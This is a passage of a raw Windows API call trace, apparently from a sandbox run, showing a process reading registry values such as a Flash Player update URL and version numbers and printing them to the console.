GetProcessHeap () returned 0x3c0000 [0148.974] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2e [0148.974] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0148.974] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.974] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x52) returned 0x0 [0148.974] GetProcessHeap () returned 0x3c0000 [0148.974] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x54) returned 0x3db830 [0148.974] GetProcessHeap () returned 0x3c0000 [0148.974] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.974] GetProcessHeap () returned 0x3c0000 [0148.974] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x54 [0148.974] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x52 | out: pdwType=0x29f700*=0x1, pvData="http://www.adobe.com/go/getflashplayer/", pcbData=0x29f780*=0x50) returned 0x0 [0148.974] __iob_func () returned 0x7fefd702a80 [0148.974] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.974] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.974] _fileno (_File=0x7fefd702ab0) returned 1 [0148.974] _errno () returned 0x204bb0 [0148.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.974] _errno () returned 0x204bb0 [0148.974] GetFileType (hFile=0x50) returned 0x1 [0148.974] lstrlenW (lpString=" ") returned 4 [0148.974] GetConsoleOutputCP () returned 0x1b5 [0148.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.975] GetConsoleOutputCP () returned 0x1b5 [0148.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.975] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.975] __iob_func () returned 0x7fefd702a80 [0148.975] _fileno (_File=0x7fefd702ab0) returned 1 [0148.975] _errno () returned 0x204bb0 [0148.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.975] _errno () returned 0x204bb0 [0148.975] GetFileType (hFile=0x50) returned 0x1 [0148.975] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.975] GetConsoleOutputCP () returned 0x1b5 [0148.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.975] GetConsoleOutputCP () returned 0x1b5 [0148.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.975] __iob_func () returned 0x7fefd702a80 [0148.975] _fileno (_File=0x7fefd702ab0) returned 1 [0148.975] _errno () returned 0x204bb0 [0148.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.975] _errno () returned 0x204bb0 [0148.976] GetFileType (hFile=0x50) returned 0x1 [0148.976] lstrlenW (lpString=" ") returned 4 [0148.976] GetConsoleOutputCP () returned 0x1b5 [0148.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.976] GetConsoleOutputCP () returned 0x1b5 [0148.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.976] __iob_func () returned 0x7fefd702a80 [0148.976] _fileno (_File=0x7fefd702ab0) returned 1 [0148.976] _errno () returned 0x204bb0 [0148.976] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.976] _errno () returned 0x204bb0 [0148.976] GetFileType (hFile=0x50) returned 0x1 [0148.976] lstrlenW (lpString="REG_SZ") returned 6 [0148.976] GetConsoleOutputCP () returned 0x1b5 [0148.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.976] GetConsoleOutputCP () returned 0x1b5 [0148.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.977] __iob_func () returned 0x7fefd702a80 [0148.977] _fileno (_File=0x7fefd702ab0) returned 1 [0148.977] _errno () returned 0x204bb0 [0148.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.977] _errno () returned 0x204bb0 [0148.977] GetFileType (hFile=0x50) returned 0x1 [0148.977] lstrlenW (lpString=" ") returned 4 [0148.977] GetConsoleOutputCP () returned 0x1b5 [0148.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.977] GetConsoleOutputCP () returned 0x1b5 [0148.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.977] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.977] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.977] __iob_func () returned 0x7fefd702a80 [0148.977] _fileno (_File=0x7fefd702ab0) returned 1 [0148.977] _errno () returned 0x204bb0 [0148.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.977] _errno () returned 0x204bb0 [0148.977] GetFileType (hFile=0x50) returned 0x1 [0148.977] lstrlenW (lpString="http://www.adobe.com/go/getflashplayer/") returned 39 [0148.977] GetConsoleOutputCP () returned 0x1b5 [0148.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/getflashplayer/", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0148.977] GetConsoleOutputCP () returned 0x1b5 [0148.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/getflashplayer/", cchWideChar=39, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/go/getflashplayer/", lpUsedDefaultChar=0x0) returned 39 [0148.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 39 [0148.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.978] __iob_func () returned 0x7fefd702a80 [0148.978] _fileno (_File=0x7fefd702ab0) returned 1 [0148.978] _errno () returned 0x204bb0 [0148.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.978] _errno () returned 0x204bb0 [0148.978] GetFileType (hFile=0x50) returned 0x1 [0148.978] lstrlenW (lpString="\n") returned 1 [0148.978] GetConsoleOutputCP () returned 0x1b5 [0148.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.978] GetConsoleOutputCP () returned 0x1b5 [0148.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.978] GetProcessHeap () returned 0x3c0000 [0148.978] GetProcessHeap () returned 0x3c0000 [0148.978] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.978] GetProcessHeap () returned 0x3c0000 [0148.978] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x54 [0148.978] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.978] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.978] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0148.978] GetProcessHeap () returned 0x3c0000 [0148.978] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0148.978] GetProcessHeap () returned 0x3c0000 [0148.978] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.979] GetProcessHeap () returned 0x3c0000 [0148.979] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.979] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0xa, pcbData=0x29f780*=0x4) returned 0x0 [0148.979] __iob_func () returned 0x7fefd702a80 [0148.979] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.979] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.979] _fileno (_File=0x7fefd702ab0) returned 1 [0148.979] _errno () returned 0x204bb0 [0148.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.979] _errno () returned 0x204bb0 [0148.979] GetFileType (hFile=0x50) returned 0x1 [0148.979] lstrlenW (lpString=" ") returned 4 [0148.979] GetConsoleOutputCP () returned 0x1b5 [0148.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.979] GetConsoleOutputCP () returned 0x1b5 [0148.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.979] lstrlenW (lpString="VersionMajor") returned 12 [0148.979] __iob_func () returned 0x7fefd702a80 [0148.979] _fileno (_File=0x7fefd702ab0) returned 1 [0148.979] _errno () returned 0x204bb0 [0148.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.979] _errno () returned 0x204bb0 [0148.979] GetFileType (hFile=0x50) returned 0x1 [0148.979] lstrlenW (lpString="VersionMajor") returned 12 [0148.979] GetConsoleOutputCP () returned 0x1b5 [0148.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.980] GetConsoleOutputCP () returned 0x1b5 [0148.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.980] __iob_func () returned 0x7fefd702a80 [0148.980] _fileno (_File=0x7fefd702ab0) returned 1 [0148.980] _errno () returned 0x204bb0 [0148.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.980] _errno () returned 0x204bb0 [0148.980] GetFileType (hFile=0x50) returned 0x1 [0148.980] lstrlenW (lpString=" ") returned 4 [0148.980] GetConsoleOutputCP () returned 0x1b5 [0148.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.980] GetConsoleOutputCP () returned 0x1b5 [0148.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.980] __iob_func () returned 0x7fefd702a80 [0148.980] _fileno (_File=0x7fefd702ab0) returned 1 [0148.980] _errno () returned 0x204bb0 [0148.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.980] _errno () returned 0x204bb0 [0148.980] GetFileType (hFile=0x50) returned 0x1 [0148.980] lstrlenW (lpString="REG_DWORD") returned 9 [0148.980] GetConsoleOutputCP () returned 0x1b5 [0148.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.981] GetConsoleOutputCP () returned 0x1b5 [0148.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.981] __iob_func () returned 0x7fefd702a80 [0148.981] _fileno (_File=0x7fefd702ab0) returned 1 [0148.981] _errno () returned 0x204bb0 [0148.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.981] _errno () returned 0x204bb0 [0148.981] GetFileType (hFile=0x50) returned 0x1 [0148.981] lstrlenW (lpString=" ") returned 4 [0148.981] GetConsoleOutputCP () returned 0x1b5 [0148.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.981] GetConsoleOutputCP () returned 0x1b5 [0148.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.981] __iob_func () returned 0x7fefd702a80 [0148.981] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.981] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa") returned 3 [0148.981] _fileno (_File=0x7fefd702ab0) returned 1 [0148.981] _errno () returned 0x204bb0 [0148.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.981] _errno () returned 0x204bb0 [0148.982] GetFileType (hFile=0x50) returned 0x1 [0148.982] lstrlenW (lpString="0xa") returned 3 [0148.982] GetConsoleOutputCP () returned 0x1b5 [0148.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.982] GetConsoleOutputCP () returned 0x1b5 [0148.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0148.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.982] __iob_func () returned 0x7fefd702a80 [0148.982] _fileno (_File=0x7fefd702ab0) returned 1 [0148.982] _errno () returned 0x204bb0 [0148.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.982] _errno () returned 0x204bb0 [0148.982] GetFileType (hFile=0x50) returned 0x1 [0148.982] lstrlenW (lpString="\n") returned 1 [0148.982] GetConsoleOutputCP () returned 0x1b5 [0148.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.982] GetConsoleOutputCP () returned 0x1b5 [0148.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.982] GetProcessHeap () returned 0x3c0000 [0148.982] GetProcessHeap () returned 0x3c0000 [0148.982] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.983] GetProcessHeap () returned 0x3c0000 [0148.983] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.983] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.983] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0148.983] GetProcessHeap () returned 0x3c0000 [0148.983] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0148.983] GetProcessHeap () returned 0x3c0000 [0148.983] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.983] GetProcessHeap () returned 0x3c0000 [0148.983] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.983] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0148.983] __iob_func () returned 0x7fefd702a80 [0148.983] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.983] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.983] _fileno (_File=0x7fefd702ab0) returned 1 [0148.983] _errno () returned 0x204bb0 [0148.983] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.983] _errno () returned 0x204bb0 [0148.983] GetFileType (hFile=0x50) returned 0x1 [0148.983] lstrlenW (lpString=" ") returned 4 [0148.983] GetConsoleOutputCP () returned 0x1b5 [0148.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.983] GetConsoleOutputCP () returned 0x1b5 [0148.983] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.983] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.983] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.984] lstrlenW (lpString="VersionMinor") returned 12 [0148.984] __iob_func () returned 0x7fefd702a80 [0148.984] _fileno (_File=0x7fefd702ab0) returned 1 [0148.984] _errno () returned 0x204bb0 [0148.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.984] _errno () returned 0x204bb0 [0148.984] GetFileType (hFile=0x50) returned 0x1 [0148.984] lstrlenW (lpString="VersionMinor") returned 12 [0148.984] GetConsoleOutputCP () returned 0x1b5 [0148.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.984] GetConsoleOutputCP () returned 0x1b5 [0148.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.984] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.984] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.984] __iob_func () returned 0x7fefd702a80 [0148.984] _fileno (_File=0x7fefd702ab0) returned 1 [0148.984] _errno () returned 0x204bb0 [0148.984] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.984] _errno () returned 0x204bb0 [0148.984] GetFileType (hFile=0x50) returned 0x1 [0148.984] lstrlenW (lpString=" ") returned 4 [0148.984] GetConsoleOutputCP () returned 0x1b5 [0148.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.984] GetConsoleOutputCP () returned 0x1b5 [0148.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.985] __iob_func () returned 0x7fefd702a80 [0148.985] _fileno (_File=0x7fefd702ab0) returned 1 [0148.985] _errno () returned 0x204bb0 [0148.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.985] _errno () returned 0x204bb0 [0148.985] GetFileType (hFile=0x50) returned 0x1 [0148.985] lstrlenW (lpString="REG_DWORD") returned 9 [0148.985] GetConsoleOutputCP () returned 0x1b5 [0148.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.985] GetConsoleOutputCP () returned 0x1b5 [0148.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 